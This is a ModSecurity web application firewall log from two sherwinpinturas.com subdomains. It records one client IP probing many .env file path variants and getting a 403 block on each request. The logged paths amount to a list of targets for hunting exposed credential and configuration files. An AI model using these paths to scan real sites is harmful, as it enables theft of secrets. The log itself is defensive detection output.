[Sat Oct 24 22:07:30.954636 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1kYlQTwXU83R4GW_mbpQAAACg"]
[Sat Oct 24 22:07:31.045603 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kY0CehrQoNuVtn8-PiQAAAAM"]
[Sat Oct 24 22:07:31.045875 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kY0CehrQoNuVtn8-PiQAAAAM"]
[Sat Oct 24 22:07:31.046181 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kY0CehrQoNuVtn8-PiQAAAAM"]
[Sat Oct 24 22:07:31.183577 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1kY1QTwXU83R4GW_mbpgAAACg"]
[Sat Oct 24 22:07:31.183849 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1kY1QTwXU83R4GW_mbpgAAACg"]
[Sat Oct 24 22:07:31.184234 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1kY1QTwXU83R4GW_mbpgAAACg"]
[Sat Oct 24 22:07:31.305822 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kY0CehrQoNuVtn8-PigAAAAM"]
[Sat Oct 24 22:07:31.306084 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kY0CehrQoNuVtn8-PigAAAAM"]
[Sat Oct 24 22:07:31.306497 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kY0CehrQoNuVtn8-PigAAAAM"]
[Sat Oct 24 22:07:31.313053 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1kY1QTwXU83R4GW_mbpwAAACg"]
[Sat Oct 24 22:07:31.313242 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1kY1QTwXU83R4GW_mbpwAAACg"]
[Sat Oct 24 22:07:31.313465 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1kY1QTwXU83R4GW_mbpwAAACg"]
[Sat Oct 24 22:07:31.445220 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1kY0CehrQoNuVtn8-PiwAAAAM"]
[Sat Oct 24 22:07:31.445454 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1kY0CehrQoNuVtn8-PiwAAAAM"]
[Sat Oct 24 22:07:31.445848 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1kY0CehrQoNuVtn8-PiwAAAAM"]
[Sat Oct 24 22:07:31.495878 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqAAAACg"]
[Sat Oct 24 22:07:31.496105 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqAAAACg"]
[Sat Oct 24 22:07:31.496450 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqAAAACg"]
[Sat Oct 24 22:07:31.549959 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1kY0CehrQoNuVtn8-PjAAAAAM"]
[Sat Oct 24 22:07:31.550176 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1kY0CehrQoNuVtn8-PjAAAAAM"]
[Sat Oct 24 22:07:31.550525 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1kY0CehrQoNuVtn8-PjAAAAAM"]
[Sat Oct 24 22:07:31.595770 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqQAAACg"]
[Sat Oct 24 22:07:31.596030 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqQAAACg"]
[Sat Oct 24 22:07:31.596351 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqQAAACg"]
[Sat Oct 24 22:07:31.745628 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1kY0CehrQoNuVtn8-PjQAAAAM"]
[Sat Oct 24 22:07:31.745865 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1kY0CehrQoNuVtn8-PjQAAAAM"]
[Sat Oct 24 22:07:31.746284 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1kY0CehrQoNuVtn8-PjQAAAAM"]
[Sat Oct 24 22:07:31.896066 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1kY0CehrQoNuVtn8-PjgAAAAM"]
[Sat Oct 24 22:07:31.896298 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1kY0CehrQoNuVtn8-PjgAAAAM"]
[Sat Oct 24 22:07:31.896649 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1kY0CehrQoNuVtn8-PjgAAAAM"]
[Sat Oct 24 22:07:31.931853 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqgAAACg"]
[Sat Oct 24 22:07:31.932072 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqgAAACg"]
[Sat Oct 24 22:07:31.932444 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1kY1QTwXU83R4GW_mbqgAAACg"]
[Sat Oct 24 22:07:32.061959 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1kZECehrQoNuVtn8-PjwAAAAM"]
[Sat Oct 24 22:07:32.062219 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1kZECehrQoNuVtn8-PjwAAAAM"]
[Sat Oct 24 22:07:32.062540 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1kZECehrQoNuVtn8-PjwAAAAM"]
[Sat Oct 24 22:07:32.105872 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1kZFQTwXU83R4GW_mbqwAAACg"]
[Sat Oct 24 22:07:32.106110 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1kZFQTwXU83R4GW_mbqwAAACg"]
